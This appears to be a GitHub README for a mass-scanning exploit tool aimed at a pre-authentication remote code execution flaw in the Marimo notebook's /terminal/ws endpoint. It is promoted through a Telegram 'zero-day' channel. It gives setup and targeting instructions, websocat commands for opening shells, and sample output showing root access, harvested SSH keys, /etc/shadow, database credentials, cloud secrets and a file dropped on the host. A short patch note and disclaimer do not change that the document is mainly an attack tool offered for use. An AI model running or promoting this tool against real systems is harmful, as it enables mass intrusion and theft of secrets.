
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — Unauthenticated WebSocket Pre-Auth RCE
Author: Nxploited · Telegram: @KNxploited
📢 Join the Telegram channel for the latest free zero-days & exploits:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 is a critical Pre-Authentication Remote Code Execution vulnerability affecting Marimo, an open-source reactive Python notebook platform.
The terminal WebSocket endpoint /terminal/ws completely lacks authentication validation, allowing any unauthenticated remote attacker to obtain a full PTY shell and execute arbitrary system commands with the privileges of the running process — often root inside containerized deployments.
Unlike other WebSocket endpoints such as /ws, which correctly invoke validate_auth() before accepting connections, the /terminal/ws endpoint only verifies the running mode and platform compatibility, entirely skipping authentication.
✅ Patched in:
marimo >= 0.23.0❌ All versions prior to0.23.0are vulnerable
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
The /terminal/ws handler only checks:
It never validates session tokens, cookies, or any form of identity — making every exposed Marimo instance a direct shell.
.py Marimo notebooks.env files · wp-config.php · SSH private keys · /etc/shadowPython 3.10 or higher
Install dependencies:
pip install websockets rich requests urllib3
Or using the requirements file:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
Create a file named targets.txt with one target per line.
The tool accepts all formats:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
Supported formats: bare IP · IP:port · domain · domain:port ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
Thread range: 1–300. Recommended: 50–150 depending on your network.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
nx_output/
│
├── summary.txt ← Master summary of all targets
├── curls.txt ← websocat one-liners for all shells
├── Nx.txt ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/ ← Per-target directory
├── summary.txt ← Target summary & connect command
├── identity.txt ← id · whoami · uname · hostname · shell
├── users.txt ← /etc/passwd · shadow · sudoers · last
├── ssh_keys.txt ← Discovered SSH private keys & auth keys
├── etc_data.txt ← /etc/hosts · resolv.conf · crontab · env
├── env_sensitive.txt ← Filtered sensitive environment variables
├── databases.txt ← MySQL · Redis · PostgreSQL · config files
├── app_configs.txt ← .env · wp-config.php · settings.py · etc
├── notebooks.txt ← Full content of all Marimo notebooks
├── marimo_toml.txt ← .marimo.toml configuration files
├── marimo_tokens.txt ← All extracted Marimo auth tokens
├── dotenv.txt ← .env / .env.local / .env.production
├── databases_marimo.txt ← DuckDB · SQLite · DB URLs from notebooks
├── webserver_configs.txt ← Apache/Nginx VirtualHosts & configs
├── network.txt ← Interfaces · routes · open ports · iptables
├── processes.txt ← ps aux · crontab · cron.d · systemd units
├── logs.txt ← auth.log · syslog · access.log · error.log
├── nx_file.txt ← Nx drop path · web root · HTTP URL
└── software.txt ← PHP · Python · Node.js versions
Once a vulnerable target is identified, connect manually using websocat:
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases
# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"
# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
The
Authorizationheader value is irrelevant — the endpoint accepts any or no token.
If you are running Marimo in a production or exposed environment:
marimo >= 0.23.0127.0.0.1 — never expose it directly to the internet/terminal/ws accessThis tool is provided strictly for educational purposes, authorized penetration testing, and legitimate security research.
You must have explicit written permission from the system owner before running this tool against any target. Unauthorized use against systems you do not own or have permission to test is illegal and may result in civil and/or criminal prosecution under applicable computer crime laws, including but not limited to the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act, EU cybercrime directives, and equivalent legislation in your jurisdiction.
The author accepts no liability for any damage, data loss, or legal consequences arising from misuse of this tool.
Use responsibly. Hack ethically.
| Property | Value |
|---|
| CVE ID | CVE-2026-39987 |
| Affected Software | marimo < 0.23.0 |
| Vulnerability Class | Pre-Auth RCE via Unauthenticated WebSocket |
| Affected Endpoint | /terminal/ws |
| Attack Vector | Network |
| Authentication Required | ❌ None |
| User Interaction | ❌ None |
| Severity | 🔴 Critical |
| Impact | Full PTY shell · Arbitrary command execution |
| Fixed Version | marimo 0.23.0 |
| Icon | Level | Description |
|---|
✦✦✦ 🟢 | ROOT | uid=0 — Full root access |
✦✦ 🟡 | PRIV | Member of sudo · wheel · docker · disk · adm |
✦ 🔵 | SHELL | Unprivileged shell access |
✗ 🔴 | FAIL | Connection refused · timeout · HTTP error |
| Environment | Auto-Detected | Specialized Collection |
|---|
| 🟣 Marimo | ✅ | Notebooks · Tokens · DuckDB · .marimo.toml · mounts |
| 🔵 cPanel / WHM | ✅ | userdomains · MySQL password · WHM user list |
| 🟠 Plesk | ✅ | psa.shadow · vhosts · MySQL admin credentials |
| 🌐 Apache | ✅ | VirtualHosts · sites-enabled · access/error logs |
| 🟢 Nginx | ✅ | Server blocks · conf.d · access/error logs |
| 🐍 Python App | ✅ | .env · settings.py · config.py · Pipfile |
| 🟡 Node.js | ✅ | .env · package.json · public directory |
| 🐳 Docker | ✅ | Bind mounts · container-local storage detection |
| ⚙️ Generic | ✅ | Full enumeration suite on unknown environments |
| Handle | Nxploited |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
| Channel | Nxploited ZeroDay Hub |
"The quieter you become, the more you are able to hear."
⭐ If this tool was useful, drop a star and join the channel for more zero-days! ⭐